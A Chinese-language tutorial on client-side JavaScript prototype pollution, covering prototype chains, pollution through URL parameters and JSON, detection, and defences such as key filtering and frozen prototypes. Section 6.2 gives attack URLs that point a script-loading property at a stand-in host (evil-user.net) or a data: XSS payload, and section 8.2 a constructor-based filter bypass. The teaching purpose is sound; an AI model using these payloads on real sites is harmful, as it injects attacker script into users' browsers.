JavaScript 客户端原型污染漏洞原理与防御指南
1. JavaScript原型基础
1.1 什么是原型(prototype)
JavaScript中的每个对象都链接到另一个对象,称为原型(prototype)。默认情况下,JavaScript会自动将新对象分配给其内置原型之一。
示例:
let myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype
let myString = "";
Object.getPrototypeOf(myString); // String.prototype
let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype
let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype
1.2 原型继承机制
对象会自动继承其指定原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使得开发人员能够创建可以重用现有对象属性和方法的新对象。
2. 原型污染概念
2.1 定义
原型污染是一个JavaScript漏洞,攻击者可以利用它向全局对象原型添加任意属性,用户定义的对象可以继承这些属性。
2.2 污染示例
例如,可以修改内置字符串方法:
String.prototype.toUpperCase = function() {
return this.toLowerCase(); // 将原本转大写的功能改为转小写
}
"HELLO".toUpperCase(); // 输出: "hello"
3. JavaScript对象基础
3.1 对象结构
JavaScript对象是多个key:value的集合:
const user = {
name: "张三",
sex: "男",
exampleMethod: function() {
// 方法实现
}
}
3.2 属性访问方式
可以通过点表示法或方括号表示法访问属性:
user.name // "张三"
user['sex'] // "男"
4. 原型链机制
4.1 原型链示例
"hEllo".toLowerCase().toUpperCase();
原型链最终会回到顶层Object.prototype:
username.__proto__ // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null
4.2 原型修改
开发人员可以自定义或重写原型内置方法:
String.prototype.trim = function() {
return "我不干净了";
}
" 前后空格 ".trim(); // "我不干净了"
5. 原型污染漏洞注入过程
5.1 漏洞产生条件
当JavaScript函数递归地将包含用户可控制属性的对象合并到现有对象中时,通常会出现原型污染漏洞,而无需首先清理key。
5.2 关键要素
- 原型污染源 - 使用户能够污染原型对象的输入
- 接收器 - 可以执行任意代码的JavaScript函数或DOM元素
- 可利用的属性 - 未经适当筛选传递到接收器的属性
5.3 污染源类型
5.3.1 基于URL参数污染
示例URL:
https://vulnerable-website.com/?__proto__[evilProperty]=payload
5.3.2 基于JSON污染
恶意JSON示例:
{"__proto__": {"evilProperty": "payload"}}
使用JSON.parse()转换后:
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');
6. 漏洞利用示例
6.1 典型漏洞场景
let transport_url = config.transport_url || defaults.transport_url;
let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);
6.2 攻击方式
通过URL污染:
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
或嵌入XSS有效负载:
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//
7. 漏洞检测方法
7.1 手动检测步骤
-
尝试通过查询字符串、URL片段和JSON输入注入任意属性:
vulnerable-website.com/?__proto__[foo]=bar -
检查
Object.prototype是否被污染:Object.prototype.foo // "bar"表示成功 -
尝试不同注入技术(括号表示法/点表示法):
vulnerable-website.com/?__proto__.foo=bar
7.2 使用调试器检测
- 在脚本开头添加
debugger语句 - 暂停脚本执行后,在控制台输入:
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', { get() { console.trace(); return 'polluted'; } }) - 观察堆栈跟踪,确定属性访问位置
8. 通过构造函数进行原型污染
8.1 构造函数污染方法
每个JavaScript对象都有constructor属性,指向创建它的构造函数:
let myObject = {};
myObject.constructor // function Object(){...}
通过构造函数访问原型:
myObject.constructor.prototype // Object.prototype
8.2 替代污染方式
当__proto__被过滤时,可以使用构造函数方式:
myObject.constructor.prototype.evilProperty = 'payload';
9. 防御措施
9.1 输入验证
- 严格验证用户输入,特别是对象属性名
- 禁止使用
__proto__、constructor和prototype等敏感属性名
9.2 安全合并对象
使用安全的对象合并方法,避免递归合并:
function safeMerge(target, source) {
for (const key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue;
}
target[key] = source[key];
}
return target;
}
9.3 冻结原型
冻结内置原型防止修改:
Object.freeze(Object.prototype);
9.4 使用无原型对象
对于敏感对象,可以设置原型为null:
const safeObject = Object.create(null);
9.5 使用现代JavaScript特性
使用Object.create(null)创建无原型对象,或使用Map代替普通对象存储键值对。
10. 总结
JavaScript原型污染是一种严重的安全漏洞,攻击者可以通过污染内置原型来影响应用程序的行为。理解原型继承机制、污染原理和防御方法对于开发安全的JavaScript应用至关重要。通过输入验证、安全对象处理和原型保护等措施,可以有效防范此类漏洞。